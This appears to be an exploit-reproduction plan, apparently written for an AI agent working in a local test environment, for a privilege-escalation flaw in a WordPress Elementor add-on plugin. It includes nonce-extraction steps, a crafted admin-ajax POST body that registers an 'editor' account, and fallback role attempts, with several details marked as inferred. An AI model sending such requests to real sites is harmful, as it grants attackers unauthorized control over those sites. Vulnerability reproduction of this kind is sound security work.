Exploitation Research Plan - CVE-2026-5193

1. Vulnerability Summary

The Essential Addons for Elementor plugin (<= 6.5.13) contains a privilege escalation vulnerability in its user registration logic. The register_user function (likely within the Login_Registration element class) fails to properly validate the role parameter. While it contains a check to prevent the creation of new administrator accounts, it does not restrict other high-privilege roles such as editor. An authenticated attacker with Author-level privileges (or higher) can exploit this to create new accounts with the editor role, thereby escalating their influence over the site.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: eael_login_register_action (inferred from plugin naming conventions)
• Vulnerable Function: register_user (specified in the description)
• Parameter of Interest: role
• Authentication: Authenticated (Author level required).
• Preconditions:
  1. The "Login/Registration" widget must be enabled in the plugin settings.
  2. The attacker must be able to view a page where the Registration widget is rendered to obtain a valid nonce.

3. Code Flow

Since the PHP source for the Login_Registration element is not provided in the snippet, the following flow is inferred based on the vulnerability description and standard plugin architecture:

1. Registration: The plugin registers an AJAX handler:
   add_action('wp_ajax_eael_login_register_action', [...])
2. Handler Entry: The handler calls a registration-specific function, e.g., register_user().
3. Role Extraction: The function retrieves the requested role from user input:
   $role = isset($_POST['role']) ? $_POST['role'] : 'subscriber';
4. Insufficient Validation (The Sink):

   // Inferred Vulnerable Logic
   if ( $role === 'administrator' ) {
       // Block admin creation
       wp_send_json_error('Cannot register as administrator');
   }
   // Logic fails to check for 'editor', 'author', etc.
   $user_id = wp_insert_user([
       'user_login' => $username,
       'user_pass'  => $password,
       'user_email' => $email,
       'role'       => $role // Vulnerable assignment
   ]);
   

4. Nonce Acquisition Strategy

The "Login/Registration" widget uses a nonce for security. This nonce is typically localized via wp_localize_script.

1. Identify Shortcode: Use grep -r "add_shortcode" . to find the registration shortcode or use Elementor to place the "Login/Registration" widget on a page.
2. Create Page:
   wp post create --post_type=page --post_status=publish --post_title="Register" --post_content='[eael-login-registration]' (exact shortcode to be verified via grep).
3. Navigate: Use browser_navigate to visit the newly created page.
4. Extract Nonce: The nonce is likely stored in a global JS object.
   • Target Object: window.eael_login_registration_data (inferred).
   • Target Key: nonce or registration_nonce.
   • Command: browser_eval("window.eael_login_registration_data?.nonce").

5. Exploitation Strategy

The exploit involves sending a crafted AJAX request to register a new user with the editor role.

Step 1: Discover Exact Parameters

The agent should first grep the plugin directory to confirm the AJAX action and parameter names:
grep -r "eael_login_register_action" .
grep -r "register_user" .

Step 2: Perform Registration

Using the http_request tool, send the following payload:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=eael_login_register_action
  &eael-register-nonce=[EXTRACTED_NONCE]
  &username=evil_editor
  &email=evil@example.com
  &password=Password123!
  &role=editor
  &option=register  # (inferred parameter to trigger registration path)
  

6. Test Data Setup

1. Activate Plugin: Ensure essential-addons-for-elementor-lite is active.
2. Create Attacker:
   wp user create attacker attacker@example.com --role=author --user_pass=password
3. Enable Widget: Ensure the Login/Registration widget is enabled in Essential Addons settings (may require wp option update).
4. Create Page: Place the widget on a public page to facilitate nonce extraction.

7. Expected Results

• The AJAX response should return a success message or a JSON object indicating the user was created.
• The response code should be 200 OK.
• A new user evil_editor should be present in the database.

8. Verification Steps

After the HTTP request, use WP-CLI to verify the privilege escalation:

1. Check User Existence: wp user list --field=user_login | grep evil_editor
2. Verify Role: wp user get evil_editor --field=roles
   • Expected Output: editor

9. Alternative Approaches

If the role parameter is not directly accepted from the POST body, check if it's being parsed from a JSON-encoded string in a different parameter:

• Check for a settings or widget_settings parameter that might contain the role.
• If editor is blocked, try author or shop_manager (if WooCommerce is present) to confirm privilege management issues exist for roles other than administrator.
• If the AJAX action requires a specific widget_id or page_id, extract those from the DOM of the registration page using browser_eval.